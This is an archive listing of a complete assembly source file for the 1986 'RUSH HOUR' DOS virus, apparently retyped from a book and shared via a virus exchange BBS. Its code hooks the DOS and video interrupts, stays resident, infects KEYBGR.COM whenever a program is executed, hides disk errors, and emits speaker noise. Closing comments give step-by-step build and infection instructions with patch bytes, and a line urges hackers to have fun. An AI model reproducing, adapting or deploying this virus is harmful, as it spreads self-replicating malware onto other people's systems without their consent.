home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / SOURCE.ZIP / RUSHHOUR.ASM < prev    next >
Assembly Source File  |  1991-12-19  |  12KB  |  324 lines

  1. PAGE   72,132
  2.           TITLE        Virus "RUSH HOUR"             (p) Foxi, 1986
  3.  
  4.           NAME        VIRUS
  5.  
  6. ABS0         SEGMENT         AT 0
  7.              ORG             4*10H
  8. VIDEO_INT    DW              2 DUP (?)          ; VIDEO INTERRUPT
  9.                                                 ; VECTOR
  10.              ORG             4*21H
  11. DOS_INT      DW              2 DUP (?)          ; DOS          -"-
  12.              ORG             4*24H
  13. ERROR_INT    DW              2 DUP (?)          ; ERROR        -"-
  14. ABS0         ENDS
  15.  
  16.  
  17. CODE      SEGMENT
  18.           ASSUME      CS:CODE, DS:CODE, ES:CODE
  19.  
  20.              ORG      05CH
  21. FCB          LABEL    BYTE
  22. DRIVE        DB       ?
  23. FSPEC        DB       11 DUP (' ')              ; Filename
  24.              ORG      6CH
  25. FSIZE        DW       2 DUP (?)
  26. FDATE        DW       ?                         ; date of last
  27.                                                 ; modification
  28. FTIME        DW       ?                         ; time  -"-     -"-
  29.              ORG      80H
  30. DTA          DW       128 DUP (?)               ; Disk Transfer Area
  31.  
  32.              ORG      071EH                     ; end of the normal
  33.                                                 ; KEYBGR.COM
  34.  
  35.              XOR      AX,AX
  36.              MOV      ES,AX                     ; ES points to ABS0
  37.              ASSUME   ES:ABS0
  38.  
  39.              PUSH     CS
  40.              POP      DS
  41.  
  42.              MOV      AX,VIDEO_INT              ; store old
  43.                                                 ; interrupt vectors
  44.              MOV      BX,VIDEO_INT+2
  45.              MOV      word ptr VIDEO_VECTOR,AX
  46.              MOV      word ptr VIDEO_VECTOR+2,BX
  47.              MOV      AX,DOS_INT
  48.              MOV      BX,DOS_INT+2
  49.              MOV      word ptr DOS_VECTOR,AX
  50.              MOV      word ptr DOS_VECTOR+2,BX
  51.              CLI
  52.              MOV      DOS_INT,OFFSET VIRUS      ; new DOS vector
  53.                                                 ; points to
  54.                                                 ; VIRUS
  55.              MOV      DOS_INT+2,CS
  56.              MOV      VIDEO_INT,OFFSET DISEASE  ; video vector
  57.                                                 ; points to DISEASE
  58.              MOV      VIDEO_INT+2,CS
  59.              STI
  60.  
  61.              MOV      AH,0
  62.              INT      1AH                       ; read TimeOfDay (TOD)
  63.              MOV      TIME_0,DX
  64.  
  65.              LEA      DX,VIRUS_ENDE
  66.              INT      27H                       ; terminate program
  67.                                                 ; remain resident.
  68.  
  69. VIDEO_VECTOR          Dd           (?)
  70. DOS_VECTOR            Dd           (?)
  71. ERROR_VECTOR          DW           2 DUP (?)
  72.  
  73. TIME_0                DW           ?
  74.  
  75. ;
  76. ; VIRUS main program:
  77. ;
  78. ; 1. System call  AH=4BH ?
  79. ;    No   : --> 2.
  80. ;    Yes  : Test KEYBGR.COM on specified drive
  81. ;           Already infected?
  82. ;           Yes  : --> 3.
  83. ;           No   : INFECTION !
  84. ;
  85. ; 2. Jump to normal DOS
  86. ;
  87.  
  88. RNDVAL       DB          'bfhg'
  89. ACTIVE       DB          0                      ; not active
  90.  
  91. PRESET       DB          0                      ; first virus not
  92.                                                 ; active!
  93.              DB          'A:'
  94. FNAME        DB          'KEYBGR   COM'
  95.              DB          0
  96.  
  97.  
  98. VIRUS        PROC        FAR
  99.              ASSUME      CS:CODE, DS:NOTHING, ES:NOTHING
  100.  
  101.              PUSH        AX
  102.              PUSH        CX
  103.              PUSH        DX
  104.  
  105.              MOV         AH,0                   ; check if at least 15
  106.                                                 ; min.
  107.              INT         1AH                    ; have elapsed
  108.                                                 ; since
  109.              SUB         DX,TIME_0              ; installation.
  110.              CMP         DX,16384               ; (16384 ticks of the
  111.                                                 ; clock=15 min.)
  112.              JL          $3
  113.              MOV         ACTIVE,1               ; if so, activate
  114.                                                 ; virus.
  115.  
  116. $3:          POP         DX
  117.              POP         CX
  118.              POP         AX
  119.                                                 ; disk access
  120.                                                 ; because of the
  121.              CMP         AX,4B00H               ; DOS command
  122.              JE          $1                     ; "Load and execute
  123.                                                 ; program" ?
  124. EXIT_1:
  125.              JMP         DOS_VECTOR        ; No : --> continue as normal
  126.  
  127. $1:          PUSH        ES                     ; ES:BX    -->
  128.                                                 ;        parameter block
  129.              PUSH        BX                     ; DS:DX    -->  filename
  130.              PUSH        DS                     ; save registers which
  131.                                                 ; will be needed
  132.              PUSH        DX                     ; for INT 21H
  133.                                                 ; (AH=4BH)
  134.              MOV         DI,DX
  135.              MOV         DRIVE,0                ; Set the drive
  136.                                                 ; of the
  137.              MOV         AL,DS:[DI+1]           ; program to be
  138.                                                 ; executed
  139.              CMP         AL,':'
  140.              JNE         $5
  141.              MOV         AL,DS:[DI]
  142.              SUB         AL,'A'-1
  143.              MOV         DRIVE,AL
  144.  
  145. $5:          CLD
  146.              PUSH        CS
  147.              POP         DS
  148.              XOR         AX,AX
  149.              MOV         ES,AX
  150.              ASSUME      DS:CODE, ES:ABS0
  151.  
  152.              MOV         AX,ERROR_INT           ; Ignore all
  153.                                                 ; disk "errors"
  154.              MOV         BX,ERROR_INT+2         ; with our own
  155.                                                 ; error routine
  156.              MOV         ERROR_VECTOR,AX
  157.              MOV         ERROR_VECTOR+2,BX
  158.              MOV         ERROR_INT,OFFSET ERROR
  159.              MOV         ERROR_INT+2,CS
  160.  
  161.              PUSH        CS
  162.              POP         ES
  163.              ASSUME      ES:CODE
  164.  
  165.              LEA         DX,DTA                 ; Disk Transfer Area
  166.                                                 ; select
  167.              MOV         AH,1AH
  168.              INT         21H
  169.  
  170.              MOV         BX,11                  ; transfer the
  171.                                                 ; filename
  172. $2:
  173.              MOV         AL,FNAME-1[BX]         ; into FileControlBlock
  174.              MOV         FSPEC-1[BX],AL
  175.              DEC         BX
  176.              JNZ         $2
  177.  
  178.              LEA         DX,FCB                 ; open file ( for
  179.                                                 ; writing )
  180.              MOV         AH,0FH
  181.              INT         21H
  182.              CMP         AL,0
  183.              JNE         EXIT_0                 ; file does not exist -
  184.                                                 ; -> end
  185.              MOV         byte ptr fcb+20h,0     ;
  186.              MOV         AX,FTIME               ; file already infected ?
  187.              CMP         AX,4800H
  188.              JE          EXIT_0                 ; YES --> END
  189.  
  190.              MOV         PRESET,1               ; (All copies are
  191.                                                 ; virulent !)
  192.              MOV         SI,100H                ; write the VIRUS in
  193.                                                 ; the file
  194. $4:
  195.              LEA         DI,DTA
  196.              MOV         CX,128
  197.              REP         MOVSB
  198.              LEA         DX,FCB
  199.              MOV         AH,15H
  200.              INT         21H
  201.              CMP         SI,OFFSET VIRUS_ENDE
  202.              JL          $4
  203.  
  204.              MOV         FSIZE,OFFSET VIRUS_ENDE - 100H
  205.              MOV         FSIZE+2,0              ; set correct
  206.                                                 ; file size
  207.              MOV         FDATE,0AA3H            ; set correct date
  208.                                                 ; (03-05-86)
  209.              MOV         FTIME,4800H            ;    -"-      time
  210.                                                 ; (09:00:00)
  211.  
  212.              LEA         DX,FCB                 ; close file
  213.              MOV         AH,10H
  214.              INT         21H
  215.  
  216.              XOR         AX,AX
  217.              MOV         ES,AX
  218.              ASSUME      ES:ABS0
  219.  
  220.              MOV         AX,ERROR_VECTOR        ; reset the error
  221.                                                 ; interrupt
  222.              MOV         BX,ERROR_VECTOR+2
  223.              MOV         ERROR_INT,AX
  224.              MOV         ERROR_INT+2,BX
  225.  
  226. EXIT_0:
  227.              POP         DX                     ; restore the saved
  228.                                                 ; registers
  229.              POP         DS
  230.              POP         BX
  231.              POP         ES
  232.              ASSUME      DS:NOTHING, ES:NOTHING
  233.  
  234.              MOV         AX,4B00H
  235.              JMP         DOS_VECTOR             ; normal function execution
  236.  
  237. VIRUS        ENDP
  238.  
  239. ERROR        PROC        FAR
  240.              IRET                               ; simply ignore all
  241.                                                 ; errors...
  242. ERROR        ENDP
  243.  
  244. DISEASE      PROC        FAR
  245.              ASSUME      DS:NOTHING, ES:NOTHING
  246.  
  247.              PUSH        AX                     ; These registers will be
  248.                                                 ; destroyed!
  249.  
  250.              TEST        PRESET,1
  251.              JZ          EXIT_2
  252.              TEST        ACTIVE,1
  253.              JZ          EXIT_2
  254.  
  255.              IN          AL,61H                 ; Enable speaker
  256.              AND         AL,0FEH                ; ( Bit 0 := 0 )
  257.              OUT         61H,AL
  258.  
  259.              MOV         CX,3                   ; index loop CX
  260.  
  261. NOISE:
  262.              MOV         AL,RNDVAL              ;     :
  263.              XOR         AL,RNDVAL+3            ;     :
  264.              SHL         AL,1                   ; generate NOISE
  265.              SHL         AL,1                   ;     :
  266.              RCL         WORD PTR RNDVAL,1      ;     :
  267.              RCL         WORD PTR RNDVAL+2,1    ;     :
  268.  
  269.              MOV         AH,RNDVAL              ; output some bit
  270.              AND         AH,2                   ; of the feedback
  271.              IN          AL,61H                 ; shift register
  272.              AND         AL,0FDH                ; --> noise from speaker
  273.              OR          AL,AH
  274.              OUT         61H,AL
  275.  
  276. EXIT_2:
  277.              POP         CX
  278.              POP         AX
  279.              JMP         VIDEO_VECTOR           ; jump to the normal
  280.                                                 ; VIDEO routine.....
  281. DISEASE      ENDP
  282.  
  283.              DB 'This program is a VIRUS program.'
  284.              DB 'Once activated it has control over all'
  285.              DB 'system devices and even over all storage'
  286.              DB 'media inserted by the user. It continually'
  287.              DB 'copies itself into uninfected operating'
  288.              DB 'systems and thus spreads uncontrolled.'
  289.  
  290.  
  291.              DB 'The fact that the virus does not destroy any'
  292.              DB 'user programs or erase the disk is merely due'
  293.              DB 'to a philanthropic trait of the author......'
  294.  
  295.              ORG         1C2AH
  296.  
  297. VIRUS_ENDE   LABEL       BYTE
  298.  
  299. CODE         ENDS
  300.  
  301.              END
  302.  
  303. ; To get an executable program:
  304. ;
  305. ; 1.) Assemble and link source
  306. ; 2.) Rename EXE file to COM!
  307. ; 3.) Load renamed EXE file into DEBUG
  308. ; 4.) Reduce register CX to 300H
  309. ; 5.) Write COM file to disk with "w"
  310. ; 6.) Load COM file virus in DEBUG
  311. ; 7.) Load KEYBGR.COM
  312. ; 8.) Change addresses 71Eh ff. as follows:
  313. ;     71EH: 33 C0 8E C0 0E 1F 26
  314. ; 9.) Write KEYBGR.COM to disk with a length of 1B2A bytes
  315. ;
  316. ; Source code RUSHHOUR.ASM -- (C) 1986, foxi
  317. ;
  318. ; Taken from book "Computer Viruses - a high-tech disease"
  319. ;
  320. ; Source retyped by -=> CyberZone <=- Jon A Johnson
  321. ; U/l to Virus Exchange BBS - Sofia, Bulgaria
  322. ;
  323. ; "Have fun all you Hackers. hahaha" -->JAJ<--
  324.